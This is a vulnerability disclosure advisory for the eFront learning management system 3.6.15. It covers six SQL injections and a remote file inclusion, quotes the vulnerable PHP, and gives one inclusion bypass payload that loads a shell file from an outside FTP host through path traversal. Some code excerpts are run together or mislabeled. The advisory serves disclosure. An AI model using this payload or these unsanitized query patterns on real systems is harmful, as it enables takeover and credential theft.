SSD Adivsory – eFront Multiple Vulnerabilities

SecuriTeam Secure Disclosure
SecuriTeam Secure Disclosure (SSD) provides the support you need to turn your experience uncovering security vulnerabilities into a highly paid career. SSD was designed by researchers for researchers and will give you the fast response and great support you need to make top dollar for your discoveries.
Introduction
eFront is a powerful learning management system that fits your brand preferences and delivers effective online & blended learning. eFront can help you improve employee performance, ensure compliance, engage your workforce and support organizational goals. Trusted by hundreds of companies and organizations around the world, eFront is committed to assist you train people. Better.
Vulnerability Details
eFront (version 3.6.15 and possibly earlier) has been found to contain multiple vulnerabilities:
 

  • module_chat chat.php getChatHistory() ‘chat_with’ Parameter SQL Injection
  • scripts.php ‘load’ Parameter File Inclusion Code Execution
  • module_flashcards module_flashcards.class.php ‘view_deck’ Parameter SQL Injection
  • module_journal module_journal.class.php ‘edit_entry’ Parameter SQL Injection
  • module_crossword module_crossword_class.php getNavigationLinks() ‘view_list’ Parameter SQL Injection
  • module_bbb module_bbb_class.php ‘edit_BBB’ Parameter Blind SQL Injection
  • forum.class.php create() forum_id Parameter SQL Injection

module_chat chat.php getChatHistory() ‘chat_with’ Parameter SQL Injection

eFront suffers of a SQL injection vulnerability inside the getChatHistory function of /www/modules/module_chat/chat.php which is exploitable through the ‘chat_with’ parameter of a POST request.

If the module_chat is enabled in the admin panel, a user with a limited student account could inject arbitrary SQL statements and escalate privileges to the Administrator level. Note that user registration is enabled by default.
The vulnerable code can be found inside the getChatHistory() function:

...
function getChatHistory() {
 if($_POST['type'] == 'user') {
  $results = eF_getTableData("module_chat", "*", "from_user='".$_SESSION['chatter']."' AND to_user='".$_POST['chat_with']."' OR from_user='".$_POST['chat_with']."' AND to_user='".$_SESSION['chatter']."'", "id ASC");
 }
 if($_POST['type'] == 'lesson') {
  $results = eF_getTableData('module_chat', "*", "to_user='".$_POST['chat_with']."'", "id ASC");
 }
 $items = array();
 foreach($results as $chat) {
  $items[] = array(
   "s" => "0",
   "t" => "",
   "f" => $chat['from_user'],
   "m" => $chat['message'],
   "n" => ""
  );
 }
 echo json_encode($items);
}
...

The $_POST[‘chat_with’] parameter is not sanitized before to be used to concatenate a SELECT query. Given this, it is possible to extract usernames, password hashes and session ids from the underlying MySQL database.
A remote attacker could then trigger underlying vulnerabilities having full access to the admin panel.
scripts.php ‘load’ Parameter File Inclusion Code Execution
eFront suffers of a RFI (Remote File Inclusion) vulnerability inside the /www/js/scripts.php script which is exploitable through the ‘load’ parameter of a GET request.
There are some security checks in place involving is_file() and realpath() but they can be bypassed by supplying a well constructed ‘load’ parameter, ex.
ftp://192.168.1.100/sh.txt#../../../../../../../[path_to_js_folder]/js/scripts
There is a report in a previous version about a LFI (Local File Inclusion) vulnerability:
eFront < = 3.6.9 'scripts.php' Local File Include Vulnerability
However the issue has not been patched correctly, creating a different situation.
The current issue works with:
PHP < 5.2 allow_url_fopen = On PHP <= 5.2 allow_url_fopen = On allow_url_include = On Given that with PHP 5.2 allow_url_include is disable by default we believe this issue is only exploitable against PHP < 5.2 and therefore we will classify it as less critical. However, with PHP < 5.2 has the maximum impact (remote code/commands execution) and it does not require authentication. The vulnerable code follows:

…
< ?php
error_reporting(E_ERROR);
// see http://web.archive.org/web/20071211140719/http://www.w3.org/2005/MWI/BPWG/techs/CachingWithPhp
// $lastModifiedDate must be a GMT Unix Timestamp
// You can use gmmktime(...) to get such a timestamp
// getlastmod() also provides this kind of timestamp for the last
// modification date of the PHP file itself
function cacheHeaders($lastModifiedDate) {
 if ($lastModifiedDate) {
  if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) && strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) >= $lastModifiedDate) {
   if (php_sapi_name()==’CGI’) {
    Header(“Status: 304 Not Modified”);
   } else {
    Header(“HTTP/1.0 304 Not Modified”);
   }
   exit;
  } else {
   $gmtDate = gmdate(“D, d M Y H:i:s \G\M\T”,$lastModifiedDate);
   header(‘Last-Modified: ‘.$gmtDate);
  }
 }
}
// This function uses a static variable to track the most recent
// last modification time
function lastModificationTime($time=0) {
 static $last_mod ;
 if (!isset($last_mod) || $time > $last_mod) {
  $last_mod = $time ;
 }
 return $last_mod ;
}
lastModificationTime(filemtime(__FILE__));
cacheHeaders(lastModificationTime());
header(“Content-type: text/javascript; charset: UTF-8”);
ob_start (“ob_gzhandler”);
foreach (explode(“,”, $_GET[‘load’]) as $value) {
 if (is_file(“$value.js”)) {
  $real_path = mb_strtolower(realpath(“$value.js”));
  if (strpos($real_path, mb_strtolower(dirname(__FILE__))) !== false || strpos($real_path, mb_strtolower(dirname(dirname(__FILE__)).DIRECTORY_SEPARATOR.’modules’.DIRECTORY_SEPARATOR)) !== false) {
   lastModificationTime(filemtime(“$value.js”));
   include(“$value.js”);echo “\n”; < ----- [*]
  }
 }
}
?>
…
module_flashcards module_flashcards.class.php ‘view_deck’ Parameter SQL Injection
eFront suffers of a SQL injection vulnerability inside the getNavigationLinks() function of /www/modules/module_flashcards/module_flashcards.class.php which is exploitable through the ‘view_deck’ parameter of a GET request to student.php.
If the module_flashcards is enabled in the admin panel, a user with a limited student account could inject arbitrary SQL statements and escalate privileges to the Administrator level. Note that user registration is enabled by default.
For the vulnerable code, see the getChatHistory() function:
...
public function getNavigationLinks() {
  $smarty = $this -> getSmartyVar();
        $currentUser  = $this -> getCurrentUser();
  $currentLesson  = $this -> getCurrentLesson();
  if (isset($_GET['view_deck'])){
   $res = eF_getTableData("content","name","id=".$_GET['view_deck']); < ---- vulnerable code
            return array ( array ('title' => _HOME, 'link'  => $smarty->get_template_vars('T_HOME_LINK')),
       array ('title' => $currentLesson -> lesson['name'], 'link'  => $currentUser -> getRole($this -> getCurrentLesson()) . ".php?ctg=control_panel"),
       array ('title' => _FLASHCARDS_FLASHCARDS, 'link'  => $this -> moduleBaseUrl),
       array ('title' => $res[0]['name'], 'link'  => $this -> moduleBaseUrl."&view_deck=".$_GET['view_deck']));
        } else{
   return array ( array ('title' => _HOME, 'link'  => $smarty->get_template_vars('T_HOME_LINK')),
       array ('title' => $currentLesson -> lesson['name'], 'link'  => $currentUser -> getRole($currentLesson).".php?ctg=control_panel"),
       array ('title' => _FLASHCARDS_FLASHCARDS, 'link'  => $this -> moduleBaseUrl));
  }
    }
...

The $_GET[‘view_deck’] parameter is not sanitized before to be used to concatenate a SELECT query. Given this, it is possible to extract usernames, password hashes and session ids from the underlying MySQL database.
A remote attacker could then trigger underlying vulnerabilities having full access to the admin panel.
module_journal module_journal.class.php ‘edit_entry’ Parameter SQL Injection
eFront suffers of a SQL injection vulnerability inside the getSmartyTpl() function of /www/modules/module_journal/module_journal.class.php which is exploitable through the ‘edit_entry’ parameter of a GET request to student.php.
If the module_journal is enabled in the admin panel, a user with a limited student account could inject arbitrary SQL statements and escalate privileges to the Administrator level. Note that user registration is enabled by default.
The vulnerable code can be found inside the getChatHistory() function:

...
if(isset($_REQUEST['autosave']) && $_REQUEST['autosave'] == "1" && isset($_REQUEST['entry_body']) && isset($_REQUEST['edit_entry'])){
   if($_REQUEST['edit_entry'] != "-1"){
    $object = eF_getTableData("module_journal_entries", "lessons_ID", "id=".$_GET['edit_entry']); < ------- vulnerable code     $fields = array(      "entry_body" => $_REQUEST['entry_body'],
     "entry_date" => date('Y').'-'.date('m').'-'.date('d').' '.date('H').':'.date('i').':'.date('s'),
     "lessons_ID" => $object[0]['lessons_ID'],
     "users_LOGIN" => $currentUser->user['login'],
    );
    eF_updateTableData("module_journal_entries", $fields, "id=".$_REQUEST['edit_entry']);
   }
...

The $_GET[‘edit_entry’] parameter is not sanitized before to be used to concatenate a SELECT query. Given this, it is possible to extract usernames, password hashes and session ids from the underlying MySQL database.
A remote attacker could then trigger underlying vulnerabilities having full access to the admin panel.
module_crossword module_crossword_class.php getNavigationLinks() ‘view_list’ Parameter SQL Injection
eFront suffers of a SQL injection vulnerability inside the getNavigationLinks() function of /www/modules/module_crossword/module_crossword.class.php which is exploitable through the ‘view_list’ parameter of a GET request to student.php.
If the module_crossword is enabled in the admin panel, a user with a limited student account could inject arbitrary SQL statements and escalate privileges to the Administrator level. Note that user registration is enabled by default.
The vulnerable code can be found inside the getNavigationLinks() function:

...
public function getNavigationLinks() {
     $smarty = $this -> getSmartyVar();
  $currentUser = $this -> getCurrentUser();
  $currentLesson = $this -> getCurrentLesson();
  if (isset($_GET['view_list'])){
      $res = eF_getTableData("content","name","id=".$_GET['view_list']); < ---- vulnerable code    return array ( array ('title' => _HOME, 'link'  => $smarty->get_template_vars('T_HOME_LINK')),
   array ('title' => $currentLesson -> lesson['name'], 'link' => $currentUser -> getRole($this -> getCurrentLesson()) . ".php?ctg=control_panel"),
   array ('title' => _CROSSWORD_CROSSWORD, 'link' => $this -> moduleBaseUrl),
   array ('title' => $res[0]['name'], 'link' => $this -> moduleBaseUrl."&view_list=".$_GET['view_list']));
  } else{
   return array ( array ('title' => _HOME, 'link'  => $smarty->get_template_vars('T_HOME_LINK')),
   array ('title' => $currentLesson -> lesson['name'], 'link' => $currentUser -> getRole($currentLesson).".php?ctg=control_panel"),
   array ('title' => _CROSSWORD_CROSSWORD, 'link' => $this -> moduleBaseUrl));
  }
 }
...

the $_GET[‘view_list’] parameter is not sanitized before to be used to concatenate a SELECT query. Given this, it is possible to extract usernames, password hashes and session ids from the underlying MySQL database.
A remote attacker could then trigger underlying vulnerabilities having full access to the admin panel.
module_bbb module_bbb_class.php ‘edit_BBB’ Parameter Blind SQL Injection
eFront suffers of SQL injection vulnerabilities inside the getModule() function of /www/modules/module_bbb/module_bbb_class.php, exploitable through the ‘edit_BBB’ parameter of a GET request to student.php.
If the module_bbb is enabled in the admin panel, a user with a limited student account could inject arbitrary SQL statements and escalate privileges to the Administrator level. Note that user registration is enabled by default.
The vulnerable code can be found inside the getModule() function:

...
if (isset($_GET['postAjaxRequest'])) {
   /** Post skill - Ajax skill **/
   if ($_GET['insert'] == "true") {
    // Adding a user to a conference
    eF_insertTableData("module_BBB_users_to_meeting", array('users_LOGIN' => $_GET['user'], 'meeting_ID' => $_GET['edit_BBB']));
   } else if ($_GET['insert'] == "false") {
    // Removing a user from a conference
    eF_deleteTableData("module_BBB_users_to_meeting", "users_LOGIN = '" . $_GET['user'] . "' AND meeting_ID = '" . $_GET['edit_BBB'] . "'"); < --- vulnerable code [*]
   } else if (isset($_GET['addAll'])) {
    // Add all users to a conference
    $users = eF_getTableData("users JOIN users_to_lessons ON users.login = users_to_lessons.users_LOGIN LEFT OUTER JOIN module_BBB_users_to_meeting ON users.login = module_BBB_users_to_meeting.users_LOGIN", "users.login, users.name, users.surname, meeting_ID", "users_to_lessons.lessons_ID = '" . $_SESSION['s_lessons_ID'] . "' AND (meeting_ID <> '" . $_GET['edit_BBB'] . "' OR meeting_ID IS NULL)"); < --- vulnerable code
    $users_attending = eF_getTableDataFlat("users JOIN users_to_lessons ON users.login = users_to_lessons.users_LOGIN LEFT OUTER JOIN module_BBB_users_to_meeting ON users.login = module_BBB_users_to_meeting.users_LOGIN", "users.login", "users_to_lessons.lessons_ID = '" . $_SESSION['s_lessons_ID'] . "' AND meeting_ID = '" . $_GET['edit_BBB'] . "'");  $user['login'], 'meeting_ID' => $_GET['edit_BBB']));
      $users_attending[] = $user['login'];
     }
    }
   }
...

The $_GET[‘edit_BBB’] parameter is not sanitized before to be used to concatenate a DELETE query. Given this, it is possible to extract usernames, password hashes and session ids from the underlying MySQL database, by injecting sub-SELECT queries. Injection is blind, but by triggering sql errors in MySQL it is possible to achieve the mentioned results.
A remote attacker could then trigger underlying vulnerabilities having full access to the admin panel.
forum.class.php create() forum_id Parameter SQL Injection
eFront suffers of a SQL injection vulnerability inside the create() function of /libraries/forum.class.php which is exploitable through the ‘forum_id’ parameter of a POST request to student.php.
The ‘forum’ feature is availiable by default then a user with a limited student account could easily inject arbitrary SQL statements and escalate privileges to the Administrator level. Note that user registration is enabled by default.
The vulnerable code can be found inside create() function:

...
public static function create($fields = array()) {
        $new_id = eF_insertTableData("f_poll", $fields);
        EfrontSearch :: insertText($fields['title'], $new_id, "f_poll", "title");
        if (mb_strlen($fields['question']) > 3) {
            EfrontSearch :: insertText(strip_tags($fields['question']), $new_id, "f_poll","data");
        }
        $post_lesson_id = $post_lesson_name = null;
        $result = eF_getTableData("lessons l, f_forums f", "l.id,l.name", "l.id=f.lessons_ID and f.id={$fields['f_forums_ID']}"); < --- vulnerable code, this variable is controllable         if (!empty($result)) {          $post_lesson_id = $result[0]['id'];          $post_lesson_name =  $result[0]['name'];         }                           // Timelines add event         EfrontEvent::triggerEvent(array("type"     => EfrontEvent::NEW_POLL,
                   "users_LOGIN"  => $_SESSION['s_login'],
                   "lessons_ID"   => $post_lesson_id,
                   "lessons_name" => $post_lesson_name,
                   "entity_ID"    => $new_id,
                   "entity_name"  => $fields['title']));
    }
...

The $fields[‘f_forums_ID’] variable is not sanitized before to be used to concatenate a SELECT query. Given this, it is possible to extract usernames, password hashes and session ids from the underlying MySQL database. Injection is blind, but by triggering SQL errors into the MySQL database it is possible to achieve the mentioned results.
A remote attacker could then trigger underlying vulnerabilities having full access to the admin panel.
Vendor Response
The vendor has released a patch for these vulnerability as part of its, 24 March 2015 v3.6.15.4 – build 18023, update.